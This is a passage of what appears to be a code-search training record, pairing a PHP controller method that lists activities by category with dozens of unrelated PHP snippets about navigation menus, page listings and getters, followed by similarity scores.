=>\t$num_messages,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-mail\",\n\t\t\"link\" \t\t\t =>\t\"inbox\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Views\",\n\t\t\"bShowNumber\"\t =>\ttrue,\n\t\t\"number\"\t\t =>\t$num_views,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-binoculars\",\n\t\t\"link\" \t\t\t =>\t\"views\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Winks\",\n\t\t\"bShowNumber\"\t =>\ttrue,\n\t\t\"number\"\t\t =>\t$num_winks,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-eye\",\n\t\t\"link\" \t\t\t =>\t\"winks\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Favourites\",\n\t\t\"bShowNumber\"\t =>\ttrue,\n\t\t\"number\"\t\t =>\t$num_favs,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-bookmarks\",\n\t\t\"link\" \t\t\t =>\t\"favourites\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Matches\",\n\t\t\"bShowNumber\"\t =>\tfalse,\n\t\t\"number\"\t\t =>\t0,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-heart\",\n\t\t\"link\" \t\t\t =>\t\"matches\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Membership\",\n\t\t\"bShowNumber\"\t =>\tfalse,\n\t\t\"number\"\t\t =>\t0,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-unlocked\",\n\t\t\"link\" \t\t\t =>\t\"membership\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Profile\",\n\t\t\"bShowNumber\"\t =>\tfalse,\n\t\t\"number\"\t\t =>\t0,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-user\",\n\t\t\"link\" \t\t\t =>\t\"profile\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t\t=>\t\"Logout\",\n\t\t\"bShowNumber\"\t\t=>\tfalse,\n\t\t\"number\"\t\t\t=>\t0,\n\t\t\"bHeader\"\t\t\t=>\ttrue,\n\t\t\"className\"\t\t\t=>\t\"icon-switch\",\n\t\t\"link\"\t\t\t\t=>\t\"javacript:confirm('app/m/login/logout');\",\n\t\t),\n\t\t);\n\n\t\t$selectedItem\t=\t3;\n\t\t$index\t\t\t=\t0;\n\n\n\t\t$menuString\t=\t' <ul> ';\n\n\n\t\tforeach ($menuArray as $menuItem)\n\t\t{\n\t\t\t# build html of menu\n\t\t\tif\t($selectedItem == $index)\n\t\t\t{\n\t\t\t\t$menu_line\t=\t'<li class=\"selected\">';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$menu_line\t=\t'<li>';\n\t\t\t}\n\n\n\t\t\t$menu_line\t.=\t'<a href=\"' . $menuItem['link'] . '\" class=\"' . $menuItem['className'] . '\" >' . $menuItem['title'];\n\t\t\t# numerics?\n\t\t\tif\t($menuItem['bShowNumber'] == true)\n\t\t\t{\n\t\t\t\t$menu_line\t.=\t\t' <span class=\"pip\">' . $menuItem['number'] . '</span>';\n\t\t\t}\n\t\t\t$menu_line .= \"</a></li>\\r\\n\";\n\n\t\t\t$menuString\t.=\t$menu_line;\n\n\t\t\t$index++;\n\t\t}\n\t\t$menuString\t.=\t\"</ul>\";\n\n\t\treturn\t$menuString;\n\t}",
"function get_all_steps() {\r\n return $this->get_assoc();\r\n }",
"public static function get_all_registered_navmenus(){\r\n return get_registered_nav_menus(); //create nav menu by ie: register_nav_menu( 'primary', __( 'Primary Menu', 'hoangweb' ) );\r\n }",
"public function getNavigation(){\n return $this->_navigation;\n }",
"public function get_nav($id)\n\t{\n\t\treturn $this->db->where('id', $id)->limit(1)->get($this->_table['navigation'])->row_array();\n\t}",
"protected function getArrOutputNaviEntries() {\r\n\r\n $strOldAction = $this->getAction();\r\n $this->setAction($this->strOriginalAction);\r\n $arrPathLinks = parent::getArrOutputNaviEntries();\r\n $this->setAction($strOldAction);\r\n\r\n $arrPath = $this->getPathArray($this->getSystemid());\r\n \r\n // Render additional navigation path entries for child objects.\r\n foreach($arrPath as $strOneSystemid) {\r\n\r\n if(!validateSystemid($strOneSystemid))\r\n continue;\r\n\r\n $objInstance = class_objectfactory::getInstance()->getObject($strOneSystemid);\r\n if($objInstance != null) {\r\n $objEntry = $this->getOutputNaviEntry($objInstance);\r\n if($objEntry != null)\r\n $arrPathLinks[] = $objEntry;\r\n }\r\n \r\n }\r\n\r\n return $arrPathLinks;\r\n }",
"function api_list_menus() {\n\t\t$menus = array();\n\t\tforeach ( get_nav_menu_locations() as $menu_slug => $menu_id ) {\n\n\t\t\t$menu = $menu_id?self::get_menu_object($menu_id):false;\n\t\t\t$menus[ $menu_slug ] = $menu;\n\t\t}\n\n\t\treturn $menus;\n\t}",
"public function getMainPageList()\r\n {\r\n $q = $this->createQuery('c')\r\n ->orderBy('ordered');\r\n return $q->execute();\r\n }",
"public function accounts()\n {\n return $this->get('ach/relationships');\n }",
"public function getLinksForMenu() : array\n {\n return $this->db->query(\"SELECT page_title, page_link FROM pages\");\n }",
"public function getNavigation()\n {\n return $this->_navigation;\n }",
"public function getNavigation()\n {\n return $this->_navigation;\n }",
"function getNavigationItems($relation) {\n\t\tglobal $page;\n\t\t$actual_content = false;\n\n\t\t$query = new Query();\n\t\t$query->sql(\"SELECT * FROM \".UT_MEN.\" WHERE relation = $relation ORDER BY sequence ASC\");\n\n\t\t$items = array();\n\t\tfor($i = 0; $i < $query->getQueryCount(); $i++) {\n\t\t\t$id = $query->getQueryResult($i,\"id\");\n\t\t\t$url = $query->getQueryResult($i,\"url\");\n\t\t\t$name = $this->translate($query->getQueryResult($i, \"name\"));\n\n\t\t\t$children = $this->getNavigationItems($id);\n\t\t\t// see if url contains page_status action\n\t\t\t$url_parts = (strpos($url, \"?page_status=\") ? explode('?page_status=', $url) : array($url, false));\n\n\t\t\tif((!$url && $children) || Session::getLogin()->validateNavigation($url_parts[0], $url_parts[1]) || $name == \"----\") {\n\t\t\t\t$item = null;\n\t\t\t\t$item->url = false;\n\t\t\t\tif($name != \"----\"){\n\t\t\t\t\t$actual_content = true;\n\t\t\t\t\t$item->url = preg_replace(\"/\\A\\/admin/\", \"\", removeKnownPaths($url, true));\n\t\t\t\t}\n\t\t\t\t$item->name = $name;\n\n\t\t\t\t// comwell fuck! Windows\n//\t\t\t\tif(substr(FRAMEWORK_PATH, 0, 2) == \"D:\") {\n//\t\t\t\t\t$item->url = str_replace(str_replace(\"D:\", \"\", FRAMEWORK_PATH.\"/admin\"), \"\", $url);\n//\t\t\t\t\t$item->url = str_replace(str_replace(\"D:\", \"\", GLOBAL_PATH.\"/admin\"), \"\", $item->url);\n//\t\t\t\t}\n//\t\t\t\telse {\n/*\n\t\t\t\t\t$item->url = str_replace(FRAMEWORK_PATH.'/admin', \"\", $url);\n\t\t\t\t\t$item->url = str_replace(GLOBAL_PATH.'/admin', \"\", $item->url);\n\t\t\t\t\t$item->url = str_replace(REGIONAL_PATH.'/admin', \"\", $item->url);\n*/\n//\t\t\t\t}\n\n\t\t\t\t$item->id = $id;\n\t\t\t\t$item->children = $children;\n\t\t\t\t$items[] = $item;\n\t\t\t}\n\t\t}\n\t\treturn $actual_content ? $items : false;\n\t}",
"function get_nav_menu_locations()\n {\n }",
"function _getNav()\n {\n }",
"function getListNavi()\n\t{\n\t\t$ret = \"\";\n\n\t\t$ret = $this->oMgr->makeListNavi($this->list_cnt, $this->list_max, $this->cur_page);\n\n\t\treturn $ret;\n\t}",
"public function get_links() {\n\t\t$context = $this->context_memoizer->for_current_page();\n\n\t\treturn $context->presentation->breadcrumbs;\n\t}",
"public static function get_registered_nav_menu_locations()\n {\n }",
"public function getNavigation() {\n $key = $this->key();\n // We are not at the last item.\n if ($key !== NULL) {\n $previous = isset($this->items[$key - 1]) ? $this->items[$key - 1] : NULL;\n $next = isset($this->items[$key + 1]) ? $this->items[$key + 1] : NULL;\n }\n // We are at the last item.\n else {\n // Take the penultimate item for previous.\n $previous = isset($this->items[$this->count() - 2]) ? $this->items[$this->count() - 2] : NULL;\n $next = NULL;\n }\n\n return [\n 'previous' => $previous,\n 'next' => $next,\n ];\n }",
"public function navigationProperties(): array\n {\n return $this->entityDefinition()->navigationProperties();\n }",
"public function getMenuItems()\n\t{\n\t\treturn Settings_Vtiger_MenuItem_Model::getAll($this->getId());\n\t}",
"public function getQueryMenus();",
"public function fullList()\n \t{\n \t\treturn $this->with(['pages' => function($q) {\n $q->select('id', 'name', 'menu_id', 'is_active', 'updated_at', 'created_at', 'activate_at', 'deactivate_at');\n }])->withCount( 'pages' )\n ->orderBy( 'position', 'asc' )\n ->get();\n \t}",
"public function navs()\n {\n return $this->hasMany('App\\Model\\Nav','portal_id','id');\n }",
"function get_menu() {\n return wp_get_nav_menu_items(9);\n }",
"final public function getEntries()\n {\n return $this->entries;\n }",
"public function index()\n {\n // get all Menus\n $Menus = Menu::all();\n\n return $Menus;\n }",
"public function getMenuItems()\n {\n return $this->adminMenu->all();\n }",
"public function getLinksList(){\n return $this->_get(9);\n }",
"public function query()\n {\n $users = Navigation::query();\n\n return $this->applyScopes($users);\n }",
"protected function userNavigation()\n {\n return [\n 'accounts' => [\n 'route' => 'muonline.accounts.index',\n 'name' => 'muonline::messages.game-accounts',\n ],\n 'characters' => [\n 'route' => 'muonline.accounts.characters',\n 'name' => 'muonline::messages.my-characters',\n ],\n ];\n }",
"public function getEntriesList(){\n return $this->_get(2);\n }",
"function getAllLinks(){\r\n return $this->link_arry;\r\n }",
"public function getLinks()\n {\n return $this->getAllChildren();\n }",
"public function allmenus() {\n //$this->db->order_by('serialid');\n $query = $this->db->get('menu');\n return $query->result();\n }",
"public function getMenus()\n\t{\n\t\treturn $this->menus;\n\t}",
"function entries()\n {\n $entries = array();\n\n while ($entry = $this->shiftEntry()) {\n $entries[] = $entry;\n }\n\n return $entries;\n }",
"public function getLinks()\n {\n if(null === $this->_link){\n\t\t\t$node = Mage::app()->getConfig()\n\t\t\t\t->getNode('global/faonni_accountnavigation/link');\n\t\t\t$this->_link = $node->asArray();\t\n\t\t}\n\t\treturn $this->_link;\n }",
"public final function get_all()\n {\n }",
"protected function GetCustomNavigationItems()\n {\n return array();\n }",
"public function getAllMenuItems()\n\t{\n\t\t$out = array();\n\t\n\t\t$sql = \"SELECT\n\t\t\t\t\t`menu`.`link_id`,\n\t\t\t\t\t`menu_tree`.`parent_id`,\n\t\t\t\t\t`menu`.`redirect_url`,\n\t\t\t\t\t`menu_tree`.`sequence_no`,\n\t\t\t\t\t`menu`.`title_menu`,\n\t\t\t\t\t`menu`.`title_page`,\n\t\t\t\t\t`menu`.`template_name`,\n\t\t\t\t\t`menu`.`module_id`,\n\t\t\t\t\t`menu`.`security_level_id`,\n\t\t\t\t\t`menu`.`group_id`,\n\t\t\t\t\t`menu_tree`.`main_link`,\n\t\t\t\t\t`menu_tree`.`quick_link`,\n\t\t\t\t\t`menu_tree`.`bottom_link`,\n\t\t\t\t\t`menu`.`sitemap`,\n\t\t\t\t\t`menu`.`status`\n\t\t\t\tFROM\n\t\t\t\t\t`menu_tree`\n\t\t\t\tLEFT JOIN\n\t\t\t\t\t`menu`\n\t\t\t\tON\n\t\t\t\t\t`menu`.`link_id` = `menu_tree`.`link_id`\n\t\t\t\tORDER BY \n\t\t\t\t\t`menu_tree`.`parent_id`,`menu_tree`.`sequence_no`\n\t\t\t\t\";\n\t\t$stmt = $this->db->prepare($sql);\n\t\t$stmt->bind_result($link_id,$parent_id,$redirect_url,$sequence_no,$title_menu,$title_page,$template_name,$module_id,$security_level_id,$group_id,$main_link,$quick_link,$bottom_link,$sitemap,$status);\n\n\t\t$stmt->execute();\n\t\twhile($stmt->fetch())\n\t\t{\n\t\t\t$out[] = array(\n\t\t\t\t'link_id' => $link_id,\n\t\t\t\t'parent_id' => $parent_id,\n\t\t\t\t'redirect_url' => $redirect_url,\n\t\t\t\t'sequence_no' => $sequence_no,\n\t\t\t\t'title_menu' => $title_menu,\n\t\t\t\t'title_page' => $title_page,\n\t\t\t\t'template_name' => $template_name,\n\t\t\t\t'module_id' => $module_id,\n\t\t\t\t'security_level_id' => $security_level_id,\n\t\t\t\t'group_id' => $group_id,\n\t\t\t\t'main_link' => $main_link,\n\t\t\t\t'quick_link' => $quick_link,\n\t\t\t\t'bottom_link' => $bottom_link,\n\t\t\t\t'sitemap' => $sitemap,\n\t\t\t\t'status' => $status\n\t\t\t);\n\t\t}\n\t\t$stmt->close();\n\t\t\n\t\treturn $out;\n\t}",
"public function fetchAll()\n\t{\n\t\t$resultSet = $this->getDbTable()->fetchAll();\n\t\t$entries = array();\n\t\tforeach ($resultSet as $row) \n\t\t{\n\t\t\t$entry = new GC_Model_Link();\n\t\t\t$entry->setId($row->id)\n\n\t\t\t\t->setNome($row->nome)\n\t\t\t\t->setDescricao($row->descricao)\n\t\t\t\t->setUrl($row->url)\n\t\t\t\t->setValidadeInicio($row->validade_inicio)\n\t\t\t\t->setValidadeTermino($row->validade_termino)\n\t\t\t\t->setDataDesativacao($row->data_desativacao)\n\t\t\t\t->setDataAutoReativar($row->data_auto_reativar)\n\t\t\t\t->setMotivoDesativacao($row->motivo_desativacao)\n ->setMenu($row->menu)\n ->setRowinfo($row->rowinfo)\n\t\t\t\t->setMapper($this);\n\t\t\t$entries[] = $entry;\n\t\t}\n\t\treturn $entries;\n\t}",
"public static function getAll($limit = 10, $offset = 0)\n {\n $items = (array) FrontendModel::get('database')->getRecords(\n 'SELECT i.*, m.url\n FROM menu AS i\n INNER JOIN meta AS m ON i.meta_id = m.id\n WHERE i.language = ?\n ORDER BY i.sequence ASC, i.id DESC LIMIT ?, ?',\n array(FRONTEND_LANGUAGE, (int) $offset, (int) $limit));\n\n // no results?\n if (empty($items)) {\n return array();\n }\n\n // get detail action url\n $detailUrl = Navigation::getURLForBlock('Menu', 'detail');\n\n // prepare items for search\n foreach ($items as &$item) {\n $item['full_url'] = $detailUrl . '/' . $item['url'];\n }\n\n // return\n return $items;\n }",
"public function all()\n {\n return Page::all();\n }",
"public function registerNavigation(): array\n {\n return [\n 'routes' => [\n 'label' => 'Routes',\n 'url' => Backend::url('gromit/routesbrowser'),\n 'icon' => 'icon-book',\n 'order' => 500,\n ],\n ];\n }",
"public function getBreadcrumbs();",
"public function getFolderListLeavesOutNavigationalEntries() {}",
"public function query()\n {\n $users = Menu::query()\n ->with('extension')\n ->where('navigation_id', $this->navigation->id)\n ->select('menus.*');\n\n return $this->applyScopes($users);\n }",
"public function findAll()\n {\n $menus['active_menu'] = $this->buildMenu(\n Menu::where('status', 1)\n ->orderBy('order')\n ->get()\n );\n $menus['inactive_menu'] = $this->buildMenu(\n Menu::where('status', 0)\n ->orderBy('order', 'created_at')\n ->get()\n );\n\n return $menus;\n }",
"public function getNavigation() {\n\t\t$plugins = Admin::getModels();\n\t\t$navigation = array();\n\n\t\tforeach ($plugins as $plugin) {\n\t\t\t$models = array();\n\n\t\t\tforeach ($plugin['models'] as $model) {\n\t\t\t\tif ($model['installed']) {\n\t\t\t\t\t$models[Inflector::humanize($model['group'])][] = $model;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$navigation[$plugin['title']] = $models;\n\t\t}\n\n\t\treturn $navigation;\n\t}",
"public function getRootEntries();",
"public static function menus()\n {\n return [];\n }",
"public function getlinks()\n {////\n // Define an empty array to hold the list of admin links\n $links = array();\n\n // Return the links array back to the calling function\n return $links;\n }",
"public static function getAll() {}",
"public function getEntries(): array\n {\n return $this->entries;\n }",
"public function getEntries()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('entries');\n }",
"public function main_navigation(){\r\n\r\n echo \"<ul>\";\r\n\r\n if(isset($this->navigationSettings)){\r\n\r\n foreach((array) $this->navigationSettings as $key => $value){\r\n echo \"<li>\";\r\n echo \"<a href='$value'>$key</a>\";\r\n echo \"</li>\";\r\n }\r\n\r\n }\r\n\r\n echo \"</ul>\";\r\n\r\n }",
"public function getAll()\n {\n return Admin::paginate($this->pagination);\n }",
"public function get_all ();",
"public function menu_get_names()\n {\n return menu_get_names();\n }",
"public static function getAll();",
"public static function getAll();",
"public function index()\n {\n return Links::all();\n }",
"public function getMenus()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('menus');\n\t\t$this->db->order_by('order', 'ASC');\n\t\t//$this->db->where('post_type', 'menu');\n\t\t$query = $this->db->get();\n\n\t\treturn $query->result();\n\t}",
"public function getAll()\n {\n return $this->topologi->all();\n }",
"public function navigation() {\n\n\t\t\treturn array(\n\t\t\t'wpgmp_form_location' => __( 'Add Location', WPGMP_TEXT_DOMAIN ),\n\t\t\t'wpgmp_manage_location' => __( 'Manage Locations', WPGMP_TEXT_DOMAIN ),\n\t\t\t);\n\t\t}",
"public function all() {\n $pressLinks = PressLink::all();\n\n return $pressLinks;\n }",
"public function getForRoutes()\n {\n $menuitems = DB::table('menu__menus')\n ->select(\n 'primary',\n 'menu__menuitems.id',\n 'menu__menuitems.parent_id',\n 'menu__menuitems.module_name',\n 'menu__menuitem_translations.uri',\n 'menu__menuitem_translations.locale'\n )\n ->join('menu__menuitems', 'menu__menus.id', '=', 'menu__menuitems.menu_id')\n ->join('menu__menuitem_translations', 'menu__menuitems.id', '=', 'menu__menuitem_translations.menuitem_id')\n ->where('uri', '!=', '')\n ->where('module_name', '!=', '')\n ->where('status', '=', 1)\n ->where('primary', '=', 1)\n ->orderBy('module_name')\n ->get();\n\n $menuitemsArray = [];\n foreach ($menuitems as $menuitem) {\n $menuitemsArray[$menuitem->module_name][$menuitem->locale] = $menuitem->uri;\n }\n\n return $menuitemsArray;\n }",
"public function findAllForHomePage()\n {\n $queryBuilder = $this->createQueryBuilder('r');\n\n $this->whereValidated($queryBuilder,1,'DESC','addedOn',6);\n\n return $queryBuilder\n ->getQuery()\n ->getResult()\n ;\n }",
"public function getMenusListAttribute()\n {\n return Menu::orderBy('name')->get();\n }",
"public function getSiteNavigation()\n\t{\n\t\t$navigation = Element::getSiteNavigation(Input::get('apiKey'));\n\n\t\treturn Response::json($navigation);\t\n\t}",
"public function getAdminMenu( ) {\n \t$parent = $this->find('all', array(\n 'conditions' => array(\n 'Page.parent_id IS NULL',\n ),\n 'contain'=>array(\n ),\n 'fields'=>array('Page.lft', 'Page.rght'),\n 'order'=>array('Page.lft' => 'ASC')\n ));\n\t\t\n\t\t$recs = array(); \n foreach($parent as $v){\n \t$info = $this->find('threaded', array(\n\t 'conditions' => array(\n\t 'Page.lft >=' => $v['Page']['lft'], \n\t 'Page.rght <=' => $v['Page']['rght'],\n\t ),\n\t 'contain'=>array()\n\t ));\n\t \n\t $recs = array_merge($recs, $info);\n\t }\n\t\t\n\t\treturn $recs;\n }",
"public function all() {\n return $this->provider->getRoutesByNames(NULL);\n }",
"public function getAll()\n {\n return $this->get();\n }",
"public function getMenus()\n {\n return $this->hasMany(Menu::className(), ['id' => 'menu_id'])->viaTable('menu_cook', ['cook_id' => 'id']);\n }"
] | [
"0.71545124",
"0.7096221",
"0.6688682",
"0.6678023",
"0.658804",
"0.6587251",
"0.6379463",
"0.63068765",
"0.6301115",
"0.6300881",
"0.62428546",
"0.6238746",
"0.62112457",
"0.6192969",
"0.61117285",
"0.61106336",
"0.61007327",
"0.60810274",
"0.60411566",
"0.60411566",
"0.60411566",
"0.60259074",
"0.60213244",
"0.6006922",
"0.600224",
"0.5993796",
"0.5989458",
"0.59877473",
"0.59686196",
"0.5966275",
"0.5947179",
"0.59392184",
"0.59307593",
"0.5918432",
"0.5912333",
"0.58909434",
"0.58909434",
"0.5888042",
"0.5881067",
"0.58746755",
"0.58746594",
"0.58583885",
"0.5850597",
"0.5822399",
"0.58012986",
"0.57982504",
"0.57895905",
"0.5780211",
"0.57716936",
"0.57704264",
"0.57697606",
"0.5763476",
"0.5760198",
"0.57492995",
"0.5739413",
"0.57311547",
"0.57179016",
"0.5713105",
"0.5707113",
"0.57044935",
"0.5682593",
"0.5681837",
"0.5677207",
"0.5671919",
"0.56628513",
"0.5662846",
"0.5659657",
"0.5650196",
"0.5643836",
"0.5640124",
"0.5634296",
"0.5634149",
"0.56254303",
"0.5620369",
"0.5619883",
"0.5613013",
"0.56093115",
"0.56086814",
"0.56057036",
"0.56030613",
"0.560263",
"0.56023645",
"0.55986154",
"0.55900013",
"0.5586269",
"0.55752176",
"0.55752176",
"0.5573409",
"0.5562783",
"0.5561896",
"0.5561822",
"0.5561329",
"0.5540606",
"0.55400497",
"0.55324453",
"0.55296034",
"0.5529565",
"0.5524388",
"0.5513243",
"0.55080646"
] | 0.60856 | 17 |
Display a listing of the resource. | public function index(Category $category) {
$activities = Activity::orderBy('name');
if ($category->exists) {
$activities->where('category_id', $category->id);
$activities = $activities->paginate(10);
return view("activity.index",compact('activities','category'));
}
return view("activity.index");
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }",
"public function listing();",
"function index() {\n\t\t$this->show_list();\n\t}",
"public function actionList() {\n $this->_getList();\n }",
"public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }",
"public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }",
"public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }",
"function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}",
"public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }",
"public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }",
"public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}",
"function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }",
"public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}",
"public function actionRestList() {\n\t $this->doRestList();\n\t}",
"public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}",
"public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }",
"public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }",
"public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}",
"public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}",
"public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }",
"public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }",
"public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }",
"public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }",
"public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}",
"public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }",
"public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}",
"public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }",
"public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }",
"public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }",
"public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}",
"public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }",
"public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }",
"public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }",
"public function index()\n {\n return Resources::collection(Checking::paginate());\n }",
"public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }",
"public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }",
"public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }",
